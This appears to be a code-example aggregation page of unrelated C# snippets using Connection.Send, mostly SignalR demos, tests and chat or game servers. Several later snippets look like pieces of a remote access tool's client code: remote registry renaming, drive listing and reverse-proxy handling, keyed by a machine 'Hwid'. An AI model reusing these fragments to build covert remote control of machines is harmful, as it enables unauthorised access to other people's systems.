Example #1
0
        protected override void OnCreate(Bundle bundle)
        {
            base.OnCreate(bundle);

            SetContentView(Resource.Layout.Main);

            var messageListAdapter = new ArrayAdapter<string>(this, Android.Resource.Layout.SimpleListItem1, new List<string>());
            var messageList = FindViewById<ListView>(Resource.Id.Messages);
            messageList.Adapter = messageListAdapter;

            var connection = new Connection("http://10.0.2.2:8081/echo");
            connection.Received += data =>
                RunOnUiThread(() => messageListAdapter.Add(data));

            var sendMessage = FindViewById<Button>(Resource.Id.SendMessage);
            var message = FindViewById<TextView>(Resource.Id.Message);

            sendMessage.Click += delegate
            {
                if (!string.IsNullOrWhiteSpace(message.Text) && connection.State == ConnectionState.Connected)
                {
                    connection.Send("Android: " + message.Text);

                    RunOnUiThread(() => message.Text = "");
                }
            };

            connection.Start().ContinueWith(task => connection.Send("Android: connected"));
        }
Example #2
0
    public void OnCameraModeChange(ObserveCamera.Mode mode)
    {
        if (!gameObject.activeSelf)
        {
            return;
        }

        if (mode == ObserveCamera.Mode.Rotation)
        {
            if (intensityValue.targetValue != maxIntensity)
            {
                intensityValue.targetValue = maxIntensity;
                if (controlsOther)
                {
                    connection?.Send(new GuideLineDisplayRequest(true));
                }
            }
        }
        else
        {
            if (intensityValue.targetValue != minIntensity)
            {
                intensityValue.targetValue = minIntensity;
                if (controlsOther)
                {
                    connection?.Send(new GuideLineDisplayRequest(false));
                }
            }
        }
    }
Example #3
0
        private async Task RunRawConnection()
        {
            string url = "http://signalr01.cloudapp.net/raw-connection";

            var connection = new Connection(url);
            connection.TraceWriter = _traceWriter;

            await connection.Start();
            connection.TraceWriter.WriteLine("transport.Name={0}", connection.Transport.Name);

            await connection.Send(new { type = 1, value = "first message" });
            await connection.Send(new { type = 1, value = "second message" });
        }
        public override void Handle(Connection connection)
        {
            var account = connection.Session.Account;
            var notification = Program.NotificationManager.Get(DeviceToken);

            if (notification == null)
            {
                connection.SendSysMessage("This device is not registered for push notifications.");
                return;
            }

            if (notification.UserId != account.Id)
            {
                connection.SendSysMessage("This device is not registered with your account.");
                return;
            }

            notification.Remove();

            Program.NotificationsDirty = true;

            var notificationSubscription = new NotificationSubscription();
            notificationSubscription.DeviceToken = DeviceToken;
            notificationSubscription.RegexPattern = RegexPattern;
            notificationSubscription.Registered = false;

            connection.Send(notificationSubscription);
        }
Example #5
0
        public void Send(OutboundPacket packet)
        {
            Log.Verbose("Sending {rawPacket}", packet.Raw);
            Log.Debug("<- {packet}", packet);

            Connection?.Send(Encoding.ASCII.GetBytes(packet.Raw));
        }
Example #6
0
        private static void RunInMemoryHost()
        {
            var host = new MemoryHost();
            host.MapConnection<MyConnection>("/echo");

            var connection = new Connection("http://foo/echo");

            connection.Received += data =>
            {
                Console.WriteLine(data);
            };

            connection.Start(host).Wait();

            ThreadPool.QueueUserWorkItem(_ =>
            {
                try
                {
                    while (true)
                    {
                        connection.Send(DateTime.Now.ToString());

                        Thread.Sleep(2000);
                    }
                }
                catch
                {

                }
            });
        }
        public void SendingCommandObjectSetsCommandOnBus()
        {
            var messageBus = new Mock<IMessageBus>();
            var counters = new Mock<IPerformanceCounterWriter>();
            Message message = null;
            messageBus.Setup(m => m.Publish(It.IsAny<Message>())).Returns<Message>(m =>
            {
                message = m;
                return TaskAsyncHelper.Empty;
            });

            var serializer = new JsonNetSerializer();
            var traceManager = new Mock<ITraceManager>();
            var connection = new Connection(messageBus.Object,
                                            serializer,
                                            "signal",
                                            "connectonid",
                                            new[] { "a", "signal", "connectionid" },
                                            new string[] { },
                                            traceManager.Object,
                                            counters.Object);

            connection.Send("a", new Command
            {
                Type = CommandType.AddToGroup,
                Value = "foo"
            });

            Assert.NotNull(message);
            Assert.True(message.IsCommand);
            var command = serializer.Parse<Command>(message.Value);
            Assert.Equal(CommandType.AddToGroup, command.Type);
            Assert.Equal("foo", command.Value);
        }
Example #8
0
 static void Main(string[] args)
 {
     myList<byte> msgs;
     string strmsg;
     Connection cc = new Connection();
     cc.Connect();
     Connection sc = new Connection("chat.facebook.com");
     sc.Connect();
     while (true)
     {
         strmsg = "";
         msgs = cc.GetMessages();
         if ((msgs != null) && (msgs.Count > 0))
         {
             strmsg = ConvertMsgToString(msgs);
             sc.Send(msgs);
         }
         msgs = sc.GetMessages();
         if ((msgs != null) && (msgs.Count > 0))
         {
             strmsg = ConvertMsgToString(msgs);
             cc.Send(msgs);
         }
         if (strmsg.Length > 0)
         {
             Console.WriteLine(strmsg);
         }
         if (strmsg.Contains("proceed xmlns=\"urn:ietf:params:xml:ns:xmpp-tls\""))
         {
             cc.StartTls();
             sc.StartTls();
         }
     }
 }
        public override void Handle(Connection connection)
        {
            var account = connection.Session.Account;
            var notification = new Notification();

            notification.UserId = account.Id;
            notification.Regex = new Regex(RegexPattern);
            notification.DeviceToken = DeviceToken;

            if (Program.NotificationManager.Exists(DeviceToken))
            {
                notification.Save();
            }
            else
            {
                if (Program.NotificationManager.FindWithId(account.Id).Count() < 5)
                {
                    notification.Insert();
                }
                else
                {
                    connection.SendSysMessage("You may only have 5 devices registered for push notifications.");
                    return;
                }
            }

            Program.NotificationsDirty = true;

            var notificationSubscription = new NotificationSubscription();
            notificationSubscription.DeviceToken = DeviceToken;
            notificationSubscription.RegexPattern = RegexPattern;
            notificationSubscription.Registered = true;

            connection.Send(notificationSubscription);
        }
Example #10
0
        public void SendingCommandObjectSetsCommandOnBus()
        {
            var messageBus = new Mock<INewMessageBus>();
            Message message = null;
            messageBus.Setup(m => m.Publish(It.IsAny<Message>())).Callback<Message>(m => message = m);
            var serializer = new JsonNetSerializer();
            var traceManager = new Mock<ITraceManager>();
            var connection = new Connection(messageBus.Object,
                                            serializer,
                                            "signal",
                                            "connectonid",
                                            new[] { "a", "signal", "connectionid" },
                                            new string[] { },
                                            traceManager.Object);

            connection.Send("a", new Command
            {
                Type = CommandType.AddToGroup,
                Value = "foo"
            });

            Assert.NotNull(message);
            Assert.True(message.IsCommand);
            var command = serializer.Parse<Command>(message.Value);
            Assert.Equal(CommandType.AddToGroup, command.Type);
            Assert.Equal(@"{""Name"":""foo"",""Cursor"":null}", command.Value);
        }
Example #11
0
        public override bool FinishedLaunching(UIApplication app, NSDictionary options)
        {
            window = new UIWindow (UIScreen.MainScreen.Bounds);

            var message = new EntryElement("Message", "Type your message here", "");
            var sendMessage = new StyledStringElement("Send Message")
            {
                Alignment = UITextAlignment.Center,
                BackgroundColor = UIColor.Green
            };
            var receivedMessages = new Section();
            var root = new RootElement("")
            {
                new Section() { message, sendMessage },
                receivedMessages
            };

            var connection = new Connection("http://localhost:8081/echo");

            sendMessage.Tapped += delegate
            {
                if (!string.IsNullOrWhiteSpace(message.Value) && connection.State == ConnectionState.Connected)
                {
                    connection.Send("iOS: " + message.Value);

                    message.Value = "";
                    message.ResignFirstResponder(true);
                }
            };

            connection.Received += data =>
            {
                InvokeOnMainThread(() =>
                    receivedMessages.Add(new StringElement(data)));
            };

            connection.Start().ContinueWith(task =>
                connection.Send("iOS: Connected"));

            var viewController = new DialogViewController(root);
            window.RootViewController = viewController;

            window.MakeKeyAndVisible ();

            return true;
        }
Example #12
0
    void Example()
    {
        Connection conn = new Connection("COM1");

        conn.ReceivedMessage += Conn_ReceivedMessage;

        Message msg = new Message(conn, Commands.DATEGET, Flags.NONE, 0);

        conn.Send(msg);
    }
Example #13
0
        public void Send(IPayload payload)
        {
            Msg message = payload as Msg;

            if (message == null)
            {
                return;
            }
            byte[] messageRaw = Encoding.UTF8.GetBytes(message.Serialize());
            Connection?.Send(messageRaw);
        }
Example #14
0
    public bool OnSendHistory(Connection connection)
    {
        var lines = new List<HistoryLine>();

        lines.Add(Message(_greetings[new Random().Next(_greetings.Count)]));

        if (connection.Session == null)
        {
            lines.Add(Message("this is a web interface for steam group chats (try it on your phone!)"));
            lines.Add(Message("you will need to create an account to use it"));
        }
        else
        {
            lines.Add(Message("to join a room click on its name below"));
            lines.Add(Message(""));

            var rooms = Program.RoomManager.List.Where(r => !r.IsHidden);
            foreach (var room in rooms)
            {
                var shortName = room.RoomInfo.ShortName;
                var name = room.RoomInfo.Name;
                var notes = new List<string>();

                name = JsLink("join('" + shortName +"')", name);

                if (room is SteamRoom)
                    notes.Add(Link("http://steamcommunity.com/gid/" + room.RoomInfo["SteamId"], "steam"));

                if (room.IsWhitelisted)
                    notes.Add("whitelisted");

                if (room.IsPrivate)
                    notes.Add("private");

                lines.Add(Message(string.Format("{0}{1}{2}",
                    name,
                    notes.Count == 0 ? "" : " -- ",
                    string.Join(", ", notes))));
            }
        }

        lines.Add(Message(""));
        lines.Add(Message("need help with commands? " + Link("https://github.com/Rohansi/SteamMobile#commands", "read this")));
        lines.Add(Message("want me in your group? " + Link("http://steamcommunity.com/id/rohans/", "talk to this guy")));

        connection.Send(new ChatHistory
        {
            ShortName = "home",
            Requested = false,
            Lines = lines
        });

        return false;
    }
Example #15
0
        public override void Handle(Connection connection)
        {
            if (Program.DelayManager.AddAndCheck(connection, DelayManager.Database))
                return;

            if (connection.Session == null)
            {
                connection.SendSysMessage("You need to be logged in to do that.");
                return;
            }

            if (!connection.Session.IsInRoom(Target))
            {
                connection.SendSysMessage("You are not in that room.");
                return;
            }

            var room = Program.RoomManager.Get(Target);
            if (room == null)
            {
                connection.SendSysMessage("Room does not exist.");
                return;
            }

            if (room.IsPrivate && room.IsBanned(connection.Session.Account.Name))
                return;

            List<HistoryLine> lines;
            if (Util.DateTimeFromTimestamp(AfterDate) < (DateTime.UtcNow - Util.MaximumHistoryRequest))
            {
                lines = new List<HistoryLine>();
            }
            else
            {
                var cmd = new SqlCommand("SELECT * FROM rohbot.chathistory WHERE chat=lower(:chat) AND date<:afterdate ORDER BY date DESC LIMIT 100;");
                cmd["chat"] = Target;
                cmd["afterdate"] = AfterDate;

                lines = cmd.Execute().Select(r => (HistoryLine)HistoryLine.Read(r)).ToList();
                lines.Reverse();
            }

            if (lines.Count == 0)
                lines.Add(new ChatLine(0, Target, "Steam", Program.Settings.PersonaName, "0", "", "No additional history is available.", false));

            var history = new ChatHistory
            {
                ShortName = room.RoomInfo.ShortName,
                Requested = true,
                Lines = lines
            };

            connection.Send(history);
        }
Example #16
0
        static void Main(string[] args)
        {
            var connection = new Connection("http://localhost:2329/Home/echo");
            connection.Received += data =>
                {
                    Console.WriteLine(data);
                };

            connection.Start().Wait();
            connection.Send("Testing from C# Console App");

            Console.ReadLine();
        }
Example #17
0
 public bool Connect(string worldId, string roomType, string code = "")
 {
     if (loggedIn)
     {
         PlayerIOError error = null;
         client.Multiplayer.CreateJoinRoom(
             worldId,
             roomType,
             true,
             null,
             null,
             delegate(Connection tempConnection)
             {
                 connection = tempConnection;
                 connection.OnDisconnect += this.OnDisconnect;
                 connection.OnMessage += this.OnMessage;
                 connection.Send("init");
                 connection.Send("init2");
             },
             delegate(PlayerIOError tempError)
             {
                 error = tempError;
             });
         while (!connected && error == null) { }
         if (connection.Connected)
         {
             //connection.Send("access", form..Text);
             return true;
         }
         else
         {
             MessageBox.Show("Could not connect: " + error);
             return false;
         }
     }
     else
         return false;
 }
Example #18
0
        public void signalr_connection_is_alive()
        {
            this._autoResetEvent = new AutoResetEvent(false);

            var connection = new Connection("http://localhost:2329/echo");
            connection.Received += data =>
            {
                this._autoResetEvent.Set();
                Console.WriteLine(data);
                Assert.Pass();
            };

            connection.Start().Wait();
            connection.Send("Testing from C# Console App");
            this._autoResetEvent.WaitOne();
        }
Example #19
0
        public override void Handle(Connection connection)
        {
            if (Program.DelayManager.AddAndCheck(connection, DelayManager.Authenticate))
                return;

            var guest = false;

            switch (Method)
            {
                case "login":
                    Program.Logger.InfoFormat("Login '{1}' from {0}", connection.Address, Username);
                    connection.Login(Username, Password, (Tokens ?? "").Split(',').ToList());
                    break;

                case "register":
                    Program.Logger.InfoFormat("Register '{1}' from {0}", connection.Address, Username);
                    connection.Register(Username, Password);
                    break;

                case "guest":
                    if (connection.Session != null)
                    {
                        connection.Session.Remove(connection);
                        connection.Session = null;
                    }

                    guest = true;
                    break;
            }

            if (connection.Session == null)
            {
                connection.Send(new AuthenticateResponse
                {
                    Name = null,
                    Tokens = "",
                    Success = guest
                });

                if (guest)
                {
                    var room = Program.RoomManager.Get(Program.Settings.DefaultRoom);
                    connection.SendJoinRoom(room);
                }
            }
        }
Example #20
0
        public override void GetData(Connection state)
        {
            state.payload = "planet";

            int planetNumber = state.Buffer[3];

            Console.WriteLine("[Server] Client connected to planet no. {0}", planetNumber);

            using (MemoryStream ms = new MemoryStream())
                using (BinaryWriter bw = new BinaryWriter(ms)) {
                    bw.Write(new byte[] { 0x0E, 0x01, 0xEB, 0x03 }); // Opcode and Packet length
                    bw.Write(new byte[] {                            // Total channel?
                        0x2C, 0x01, 0x00, 0x00,
                        0x00, 0x00, 0x00, 0x00
                    });

                    for (int i = 0; i < 20; i++)
                    {
                        bw.Write(new byte[] {                       // Write channel data
                            0x78, 0x00, 0x00, 0x00,
                            0x00, 0x00, 0x00, 0x00,
                            0x01, 0x00, 0x00
                        });

                        bw.Write(new byte[] {                       // Channel position
                            (byte)(i + 1),
                            0x00
                        });
                    }

                    bw.Write(new byte[] {                           // Same channel data but the post goto one again.
                        0x78, 0x00, 0x00, 0x00,                     // Idk why.
                        0x00, 0x00, 0x00, 0x00,
                        0x01, 0x00, 0x00
                    });

                    state.Send(ms.ToArray());
                }
        }
Example #21
0
        protected void RoomCreate(Message msg)
        {
            //GAM 4 | 2 LOBBY_MSG(209)[LB_ROOMCREATE("12"), ["871" "yoq4711yoq's Spiel-20:21:46" "SETTLERSHOK" "7" "8" "0" Bin{ 00 2C 6B 02 02 00 00 00 73 DF DD E9 D8 2C 6B 02} "" "SHOKPC1.05" "SHOKPC1.05" Bin{ }]]
            //SRV 12 | 4 LOBBY_MSG(209)[LB_GSSUCCESS("38"), ["12"["-126" "yoq4711yoq's Spiel-20:21:46" "51"]]]
            //SRV 12 | 4 LOBBY_MSG(209)[LB_GROUPNEW("54"), ["7" "yoq4711yoq's Spiel-20:21:46" "-126" "51" "871" "2098" "1" "yoq4711yoq" "SETTLERSHOK" "SETTLERSHOK" Bin{ 00 2C 6B 02 02 00 00 00 73 DF DD E9 D8 2C 6B 02} "0" "8" "1" "0" "0" "SHOKPC1.05" "SHOKPC1.05" "84.115.212.253" "10.9.9.9"]]

            var roomName = msg.LobbyData[1].AsString;
            var numA     = msg.LobbyData[3].AsInt;
            var numB     = msg.LobbyData[4].AsInt;
            var numC     = msg.LobbyData[5].AsInt;

            Connection.WriteDebug("CreateRoom({0}|{1}|{2})", numA, numB, numC);

            var gameInfo = msg.LobbyData[6].AsBinary;

            var room = curLobby.CreateRoom(roomName, gameInfo, account);

            Connection.Send(msg.LobbySuccessResponse(new DNodeList {
                room.ID, roomName, Constants.LOBBY_SERVER_ID
            }));
            curLobby.Broadcast(new Message(LobbyMessageCode.LB_GROUPNEW, room.RoomInfo));
        }
Example #22
0
        private void OnSelectChain(GameServerPacket packet)
        {
            packet.ReadByte(); // player
            int count = packet.ReadByte();

            packet.ReadByte(); // specount
            bool forced = packet.ReadByte() != 0;

            packet.ReadInt32(); // hint1
            packet.ReadInt32(); // hint2

            IList <ClientCard> cards = new List <ClientCard>();
            IList <int>        descs = new List <int>();

            for (int i = 0; i < count; ++i)
            {
                packet.ReadInt32(); // card id
                int          con  = GetLocalPlayer(packet.ReadByte());
                CardLocation loc  = (CardLocation)packet.ReadByte();
                int          seq  = packet.ReadByte();
                int          desc = packet.ReadInt32();
                cards.Add(m_duel.GetCard(con, loc, seq));
                descs.Add(desc);
            }

            if (cards.Count == 0)
            {
                Connection.Send(CtosMessage.Response, -1);
                return;
            }

            if (cards.Count == 1 && forced)
            {
                Connection.Send(CtosMessage.Response, 0);
                return;
            }

            Connection.Send(CtosMessage.Response, m_ai.OnSelectChain(cards, descs, forced));
        }
    public static void DoAll(List <Request> requests)
    {
        if (requests.IsEmpty())
        {
            return;
        }
        var notSended = new List <Request>(requests);

        foreach (var request in requests)
        {
            if (IsServerAvaliable && openConnection.Send(request))
            {
                if (request.Debug)
                {
                    request.PrintDebugLog();
                }
                notSended.Remove(request);
            }
        }
        requests.Clear();
        requests.AddRange(notSended);
    }
        private static bool Server_HandleNewClient(Connection client)
        {
            var msg           = $"Welcome to the chat server [{MicroProtocolConfiguration.VersionString}]";
            var handshakeTask =
                client.SendReceive <S2C_Handshake, C2S_Handshake>(new S2C_Handshake(msg), TimeSpan.FromSeconds(5));

            try
            {
                var result  = handshakeTask.Result;
                var error   = "";
                var subject = client.SslCertificates.RemoteCertificate.Subject;
                if (result.VersionString != MicroProtocolConfiguration.VersionString)
                {
                    error = "Invalid version";
                }
                else if (client.SslCertificates.RemotePolicyErrors != SslPolicyErrors.None ||
                         !BasicCertificateInfo.VerifyAttribute(subject,
                                                               CertificateAttribute.CommonName, result.Username))
                {
                    error = "Invalid certificate";
                }
                var ret = new S2C_HandshakeResult(error);
                client.Data["Authorized"] = ret.Success;
                if (ret.Success)
                {
                    var username =
                        BasicCertificateInfo.GetAttribute(subject,
                                                          CertificateAttribute.CommonName, result.Username);
                    client.Data["Username"] = username;
                }
                client.Send(ret);
                return(ret.Success);
            }
            catch
            {
            }

            return(false);
        }
Example #25
0
        public void RenameValue(string OldValueName, string NewValueName, string KeyPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.RenameRegistryValue(OldValueName, NewValueName, KeyPath, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString      = "regManager";
                msgpack.ForcePathObject("Hwid").AsString         = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString      = "RenameValue";
                msgpack.ForcePathObject("KeyPath").AsString      = KeyPath;
                msgpack.ForcePathObject("OldValueName").AsString = OldValueName;
                msgpack.ForcePathObject("NewValueName").AsString = NewValueName;
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
Example #26
0
        /// <summary>Write data to the users screen.</summary>
        /// <param name="data">The string of text to write to this session's connected user.</param>
        /// <param name="sendPrompt">true to send the prompt after, false otherwise.</param>
        private void FinalWrite(string data, bool sendPrompt)
        {
            // If our last output to this session was printing the prompt, inject a new line in front of this next set of data,
            // so the data won't potentially start printing on the same line as the prompt.
            if (AtPrompt)
            {
                data = AnsiSequences.NewLine + data;
            }

            if (sendPrompt)
            {
                if (!data.EndsWith(AnsiSequences.NewLine))
                {
                    data += AnsiSequences.NewLine;
                }
                data += State?.BuildPrompt()?.Parse(Connection.TerminalOptions);
            }

            // If a particular state doesn't support the paging commands (like "m" or "more") then we should force sending all
            // data instead of potentially printing paging output that isn't supported in the current state.
            Connection.Send(data, !State.SupportsPaging);
        }
        protected override Task OnReceived(IRequest request, string connectionId, string data)
        {
            var message = JsonConvert.DeserializeObject <Message>(data);

            switch (message.Type)
            {
            case "sendToMe":
                Connection.Send(connectionId, message.Content);
                break;

            case "sendToConnectionId":
                Connection.Send(message.ConnectionId, message.Content);
                break;

            case "sendBroadcast":
                Connection.Broadcast(message.Content);
                break;

            case "sendToGroup":
                Groups.Send(message.GroupName, message.Content);
                break;

            case "joinGroup":
                Groups.Add(message.ConnectionId, message.GroupName);
                Connection.Broadcast(message.ConnectionId + " joined group " + message.GroupName);
                break;

            case "leaveGroup":
                Groups.Remove(message.ConnectionId, message.GroupName);
                Connection.Broadcast(message.ConnectionId + " left group " + message.GroupName);
                break;

            case "throw":
                throw new InvalidOperationException("Client does not receive this error");
                break;
            }

            return(base.OnReceived(request, connectionId, data));
        }
Example #28
0
        async Task OnQuery(KademliaQueryMessage message, Connection connection, NodeInfo nodeInfo)
        {
            if (Log.LogTrace)
            {
                Log.Trace($"Kademlia Query received from: {nodeInfo.PublicEndPoint}", this);
            }

            lock (_lock)
                _queryNodes.Add(nodeInfo);

            var nodes         = _bucket.GetNearNodes(nodeInfo.NodeId);
            var resultMessage = new KademliaQueryResultMessage {
                SignKey = LocalKey
            };

            foreach (var node in nodes)
            {
                resultMessage.Nodes.Add(node);
            }

            await connection.Send(resultMessage);
        }
Example #29
0
        public void LoginReturnD(ProtocolBase proto)
        {
            CustomProtocol protocol = (CustomProtocol)proto;
            string         str      = protocol.GetString(this.start, ref this.start);
            int            ret      = protocol.GetInt(this.start, ref this.start);
            int            num      = ret;

            if (num != 0)
            {
                MessageBox.Show(MultiLanguage.Warn27, MultiLanguage.Warn22);
            }
            else
            {
                this.onlinedataLoad(protocol);
                MessageBox.Show(MultiLanguage.Hint8, MultiLanguage.Warn);
                CustomProtocol proto2 = new CustomProtocol();
                proto2.AddString("EC1");
                proto2.AddString(GlobalData.UserName);
                Connection.Send(proto2);
                this.DeleteData(this.deleteID);
            }
        }
Example #30
0
        public void Send()
        {
            if (!ResponsePackets.Any())
            {
                return;
            }

            var networkMessage = new NetworkMessage(4);

            foreach (var packet in ResponsePackets)
            {
                networkMessage.AddPacket(packet);
            }

            Connection.Send(networkMessage);
            Console.WriteLine($"Sent {GetType().Name} [{EventId}] to {Connection.PlayerId} - {Connection.SourceIp}");

            // foreach (var packet in ResponsePackets)
            // {
            //    packet.CleanUp();
            // }
        }
Example #31
0
        public void Tick()
        {
            if (!IsReadyForNextFrame)
            {
                throw new InvalidOperationException();
            }

            Connection.Send(NetFrameNumber + FramesAhead, localOrders.Select(o => o.Serialize()).ToList());
            localOrders.Clear();

            foreach (var order in frameData.OrdersForFrame(this, World, NetFrameNumber))
            {
                //Log.Write("wyb", "process order Client->{0} orderStr->{1} netFrameNum->{2}".F(order.Client, order.Order.OrderString, NetFrameNumber));
                this.orderProcessor.ProcessOrder(this, World, order.Client, order.Order);
            }

            Connection.SendSync(NetFrameNumber, OrderIO.SerializeSync(World.SyncHash()));

            syncReport.UpdateSyncReport();

            ++NetFrameNumber;
        }
Example #32
0
        public async Task SendThrowsNullExceptionWhenConnectionIdsAreNull()
        {
            var serializer = JsonUtility.CreateDefaultSerializer();
            var counters   = new PerformanceCounterManager();

            var connection = new Connection(new Mock <IMessageBus>().Object,
                                            serializer,
                                            "signal",
                                            "connectonid",
                                            new[] { "test" },
                                            new string[] { },
                                            new Mock <ITraceManager>().Object,
                                            new AckHandler(completeAcksOnTimeout: false,
                                                           ackThreshold: TimeSpan.Zero,
                                                           ackInterval: TimeSpan.Zero),
                                            counters,
                                            new Mock <IProtectedData>().Object,
                                            new MemoryPool());

            await Assert.ThrowsAsync <ArgumentNullException>(
                () => connection.Send((IList <string>)null, new object()));
        }
Example #33
0
        public void RenameKey(string OldKeyName, string NewKeyName, string ParentPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.RenameRegistryKey(OldKeyName, NewKeyName, ParentPath, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
                msgpack.ForcePathObject("Hwid").AsString    = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString = "RenameKey";
                msgpack.ForcePathObject("rootKey").AsString = ParentPath;
                msgpack.ForcePathObject("oldName").AsString = OldKeyName;
                msgpack.ForcePathObject("newName").AsString = NewKeyName;
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
Example #34
0
        public string SendMessageSidQuery(string accountName)
        {
            string stringSid = null;

            if (conn == null)
            {
                return(null);
            }
            uint sn = ++SeqNo;
            MessageNameToStringSidQuery msg = new MessageNameToStringSidQuery(sn, (uint)accountName.Length, accountName);
            int countBytesToSend            = msg.Serialize(conn.sendBuffer, 0);
            int countBytesSent = conn.Send(conn.sendBuffer, 0, countBytesToSend);

            if (countBytesSent != countBytesToSend)
            {
                Console.WriteLine("SendMessageSidQuery Err: attempt {0} sent {1}.", countBytesToSend, countBytesSent);
                return(null);
            }
            messageVmNameToStringSidReply = null;
            autoResetEvent.Reset();
            conn.BeginReceive();
            bool timedOut = !autoResetEvent.WaitOne(TIMEOUT_MILLISECS);

            if (timedOut)
            {
                return(null);
            }
            if (messageVmNameToStringSidReply.SeqNo != sn)
            {
                Console.WriteLine("qSid seqno mismatch: expected {0} obtained {1}", sn, messageVmNameToStringSidReply.SeqNo);
            }
            else
            {
                //Console.WriteLine("qSid {0}", messageVmNameToStringSidReply.SidString);
                stringSid = messageVmNameToStringSidReply.SidString;
            }

            return(stringSid);
        }
Example #35
0
        public void Disconnect()
        {
            if (!_disconnectIsSend)
            {
                _disconnectIsSend = true;
                //send to the Server we've been disconnected
                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString      = "reverseProxy";
                msgpack.ForcePathObject("Option").AsString       = "ReverseProxyDisconnect";
                msgpack.ForcePathObject("Hwid").AsString         = Connection.Hwid;
                msgpack.ForcePathObject("ConnectionId").AsString = ConnectionId.ToString();
                Connection.Send(msgpack.Encode2Bytes());
            }

            try
            {
                Handle.Close();
            }
            catch { }

            RemoveProxyClient(this.ConnectionId);
        }
        public override void HandleConnectionRequest(Connection acceptedConnection)
        {
            Socks4Request request = Socks4Request.Build(Socks4Request.REQUEST_TYPE_BIND, _RedirectHost, _RedirectPort, "");

            Connection redirectConnection = null;

            try
            {
                redirectConnection = Connection.Connect(_SocksServerHost, _SocksServerPort);
            }
            catch (Exception exp)
            {
                acceptedConnection.Close();
                return;
            }

            redirectConnection.SetObserver(new PortRedirectOverSocksConnectionObserver(acceptedConnection));
            acceptedConnection.IsBeingTraced = ObservedServer.IsBeingTraced;
            redirectConnection.BeginReceiving();

            redirectConnection.Send(request.ToByteArray());
        }
Example #37
0
 public void GetDrivers()
 {
     try
     {
         DriveInfo[] allDrives = DriveInfo.GetDrives();
         MsgPack     msgpack   = new MsgPack();
         msgpack.ForcePathObject("Pac_ket").AsString = "fileManager";
         msgpack.ForcePathObject("Hwid").AsString    = Connection.Hwid;
         msgpack.ForcePathObject("Command").AsString = "getDrivers";
         StringBuilder sbDriver = new StringBuilder();
         foreach (DriveInfo d in allDrives)
         {
             if (d.IsReady)
             {
                 sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>");
             }
             msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString();
             Connection.Send(msgpack.Encode2Bytes());
         }
     }
     catch { }
 }
Example #38
0
        public bool SendToGame <T>(T message, int msgId)
        {
            if (connection == null)
            {
                return(false);
            }

            int netStatus = connection.getStatus();

            //无论什么原因导致连接断开,只要需要发送数据,并且已经初始化过,那么就尝试重连
            if (netStatus == NHNet.CON_CLOSED)
            {
                if (connection.HasInit())
                {
                    clientCore.reConnect();
                    LogU.Debug("Transmitter: NHNet.CON_CLOSED ,has try reConnect,this msg can not send");
                    return(false);
                }
            }
            if (netStatus == NHNet.CON_CONNECTING)
            {
                LogU.Debug("Transmitter:  NHNet.CON_CONNECTING ,can not send data");
                return(false);
            }

            int  length = 0;
            bool result = ClientCore.Serializer.Serialize <T>(ref buffer, ref length, message, msgId, ClientCore.accountId);

            if (result)
            {
                result = connection.Send(buffer, 0, length);
            }
            else
            {
                LogU.Error("Failed to serialize the message {0}", msgId);
            }

            return(result);
        }
Example #39
0
        public void SendingCommandObjectSetsCommandOnBus()
        {
            var     messageBus = new Mock <IMessageBus>();
            var     counters   = new Mock <IPerformanceCounterWriter>();
            Message message    = null;

            messageBus.Setup(m => m.Publish(It.IsAny <Message>())).Returns <Message>(m =>
            {
                message = m;
                return(TaskAsyncHelper.Empty);
            });

            var serializer   = new JsonNetSerializer();
            var traceManager = new Mock <ITraceManager>();
            var connection   = new Connection(messageBus.Object,
                                              serializer,
                                              "signal",
                                              "connectonid",
                                              new[] { "a", "signal", "connectionid" },
                                              new string[] { },
                                              traceManager.Object,
                                              new AckHandler(cancelAcksOnTimeout: false,
                                                             ackThreshold: TimeSpan.Zero,
                                                             ackInterval: TimeSpan.Zero),
                                              counters.Object);

            connection.Send("a", new Command
            {
                Type  = CommandType.AddToGroup,
                Value = "foo"
            });

            Assert.NotNull(message);
            Assert.True(message.IsCommand);
            var command = serializer.Parse <Command>(message.Value);

            Assert.Equal(CommandType.AddToGroup, command.Type);
            Assert.Equal("foo", command.Value);
        }
Example #40
0
        private async Task RunAuth(string serverUrl)
        {
            string url = serverUrl + "cookieauth";

            var handler = new HttpClientHandler();

            handler.CookieContainer = new CookieContainer();
            using (var httpClient = new HttpClient(handler))
            {
                var content  = string.Format("UserName={0}&Password={1}", "user", "password");
                var response = httpClient.PostAsync(url + "/Account/Login", new StringContent(content, Encoding.UTF8, "application/x-www-form-urlencoded")).Result;
            }

            var connection = new Connection(url + "/echo");

            connection.TraceWriter = _traceWriter;
            connection.Received   += (data) => connection.TraceWriter.WriteLine(data);
#if !ANDROID && !iOS
            connection.CookieContainer = handler.CookieContainer;
#endif
            await connection.Start();

            await connection.Send("sending to AuthenticatedEchoConnection");

            var hubConnection = new HubConnection(url);
            hubConnection.TraceWriter = _traceWriter;
#if !ANDROID && !iOS
            hubConnection.CookieContainer = handler.CookieContainer;
#endif
            var hubProxy = hubConnection.CreateHubProxy("AuthHub");
            hubProxy.On <string, string>("invoked", (connectionId, date) => hubConnection.TraceWriter.WriteLine("connectionId={0}, date={1}", connectionId, date));

            await hubConnection.Start();

            hubConnection.TraceWriter.WriteLine("transport.Name={0}", hubConnection.Transport.Name);

            await hubProxy.Invoke("InvokedFromClient");
        }
Example #41
0
        protected void LoginCmd(Message msg)
        {
            var username = msg.Data[0].AsString;
            var password = msg.Data[1].AsString;
            var game     = msg.Data[2].AsString; // "SHOKPC1.05"

            var acc = PlayerAccount.Get(username);

            if (acc != null)
            {
                if (acc.CheckPassword(password))
                {
                    if (!PlayerAccount.LoggedInAccounts.Contains(acc))
                    {
                        PlayerAccount.LoggedInAccounts.Add(acc);
                        Connection.Send(msg.SuccessResponse());
                    }
                    else
